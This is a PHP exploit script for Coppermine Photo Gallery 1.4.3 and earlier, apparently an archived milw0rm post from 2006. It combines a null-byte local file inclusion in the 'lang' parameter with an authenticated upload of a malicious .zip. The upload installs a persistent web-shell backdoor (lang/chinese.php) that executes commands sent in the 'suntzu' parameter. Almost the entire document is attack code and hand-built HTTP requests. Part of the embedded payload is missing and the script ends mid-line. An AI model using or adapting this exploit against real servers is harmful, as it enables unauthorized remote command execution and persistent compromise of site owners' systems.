**Coppermine Photo Gallery <= 1.4.3 remote cmmnds xctn**

this works regardless of any php.ini settings, you need a normal user # # account with upload rights in personal albums and at least one album # # # # usage: launch from Apache, fill in requested fields, then go! # # # # Sun-Tzu: "The direct and the indirect lead on to each other in turn. It is # # like moving in a circle--you never come to an end. Who can exhaust the # # possibilities of their combination?" # /* a short explaination: arbitrary local inclusion issue in "lang" argument in init.inc.php , ex.: http://[target]/[path]/thumbnails.php?lang=../album/userpics/10002/shell.zip%00 (by a null char, regardless of magic_quotes_gpc settings, because of Coppermine magic quotes disable code) we need to upload a malicious .zip file with php code inside in a personal album folder (no check on file contempt) and to include it (cycling inside folders we will search for it - a subfolder is created in album/userpics/ dir, it is numbered like this: 10000 + db userid). We don't see any ouput including it, so the .zip file install a backdoor called chinese.php inside Coppermine lang/ dir. Modify the .zip file code if you need. After first run, if succeeded, you can launch commands manually: http://[target]/[path]/lang/chinese.php?suntzu=netstat%20-ano however script checks if new "chinese language file" is already installed */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); ob_implicit_flush (1); echo'**Coppermine Photo Gallery <= 1.4.3 remote cmmnds xctn**

a script by rgod at http://retrogod.altervista.org

'; function show($headeri) { $ii=0;$ji=0;$ki=0;$ci=0; echo ''; while ($ii <= strlen($headeri)-1){ $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) { echo ""; } else { echo " "; } $ii++;$ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "

	".htmlentities($headeri[$li+$ki])."
0".htmlentities($datai)."	".htmlentities($datai)."		".htmlentities($headeri[$li])."

"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket() //2x speed { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "
"; } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid proxy...'; die; } echo "OK.
"; echo "Attempting to connect to ".$host." on port ".$port."...
"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "

"; } else { echo "OK.

"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:
"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function refresh() { flush(); ob_flush(); usleep(5000000000); } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.htmlentities($host); die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid prozy...';die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock);echo nl2br(htmlentities($html)); refresh(); } $host=$_POST[host];$path=$_POST[path]; $port=$_POST[port];$cmd=$_POST[cmd]; $USER=$_POST[USER];$PASS=$_POST[PASS]; $proxy=$_POST[proxy]; echo ""; if (($host<>'') and ($path<>'') and ($cmd<>'')) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} $host=str_replace("\r","",$host);$host=str_replace("\n","",$host); $path=str_replace("\r","",$path);$path=str_replace("\n","",$path); if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $cmd=urlencode($cmd); #STEP 0 -> Check if backdoor already installed... $packet ="GET ".$p."lang/chinese.php?suntzu=$cmd HTTP/1.1\r\n"; $packet.="Host: $host\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); if (eregi("Hi Master!",$html)) {die("chinese.php already installed...
Exploit succeeded...
"); } //if you are here if (($USER=='') | ($PASS=='')) {die("chinese.php not installed
we need a username and a password
");} } if (($host<>'') and ($path<>'') and ($cmd<>'') and ($USER<>'') and ($PASS<>'')) { #STEP 1 -> Login... $data="username=".urlencode($USER)."&password=".urlencode($PASS)."&submitted=Login"; $packet ="POST ".$p."login.php?referer=index.php HTTP/1.1\r\n"; $packet.="Referer: http://".$host.$path."login.php?referer=index.php\r\n"; $packet.="Host: $host\r\n"; $packet."Accept-Language: en\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); $temp=explode("Set-Cookie: ",$html); $temp2=explode(" ",$temp[1]); $COOKIE=$temp2[0]; $temp2=explode(" ",$temp[2]); $COOKIE.=" ".str_replace(";","",$temp2[0]); $COOKIE=str_replace("\r","",$COOKIE);$COOKIE=str_replace("\n","",$COOKIE); echo "COOKIE ->".htmlentities($COOKIE)."
"; #STEP 2 -> Upload the malicious zip file... $data='-----------------------------7d613b1d0448 Content-Disposition: form-data; name="file_upload_array[]"; filename="c:\suntzuuuu.zip" Content-Type: application/octet-stream "); fclose($sun_tzu); chmod("./lang/chinese.php",777);?> -----------------------------7d613b1d0448 Content-Disposition: form-data; name="file_upload_array[]"; filename="" Content-Type: application/octet-stream -----------------------------7d613b1d0448 Content-Disposition: form-data; name="file_upload_array[]"; filename="" Content-Type: application/octet-stream -----------------------------7d613b1d0448 Content-Disposition: form-data; name="file_upload_array[]"; filename="" Content-Type: application/octet-stream -----------------------------7d613b1d0448 Content-Disposition: form-data; name="file_upload_array[]"; filename="" Content-Type: application/octet-stream -----------------------------7d613b1d0448 Content-Disposition: form-data; name="URI_array[]" -----------------------------7d613b1d0448 Content-Disposition: form-data; name="URI_array[]" -----------------------------7d613b1d0448 Content-Disposition: form-data; name="URI_array[]" -----------------------------7d613b1d0448 Content-Disposition: form-data; name="control" phase_1 -----------------------------7d613b1d0448-- '; $packet ="POST ".$p."upload.php HTTP/1.1\r\n"; $packet.="Referer: http://".$host.$path."upload.php\r\n"; $packet.="Accept-Language: en\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d613b1d0448\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Cookie: ".$COOKIE."\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); $temp=explode("unique_ID\" value=\"",$html); $temp2=explode("\"",$temp[1]); $UNIQUE_ID=$temp2[0]; echo "UNIQUE ID ->".htmlentities($UNIQUE_ID)."
"; #STEP 3 -> Select an album... $data='-----------------------------7d6df34d0448 Content-Disposition: form-data; name="unique_ID" '.$UNIQUE_ID.' -----------------------------7d6df34d0448 Content-Disposition: form-data; name="control" phase_2 -----------------------------7d6df34d0448--'; $packet ="POST ".$p."upload.php HTTP/1.1\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; $packet.="Referer: http://".$host.$path."upload.php\r\n"; $packet.="Accept-Language: en\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6df34d0448\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="Host: $host\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Cookie: ".$COOKIE."\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); show($html); $junk=chr(0x0a).chr(0x20).chr(0x20).chr(0x20).chr(0x20). chr(0x20).chr(0x20).chr(0x20).chr(0x20).chr(0x20). chr(0x20).chr(0x20).chr(0x20).chr(0x20).chr(0x20). chr(0x20).chr(0x20); $temp=explode("* Personal albums\">$junk"; ?> # milw0rm.com [2006-02-17]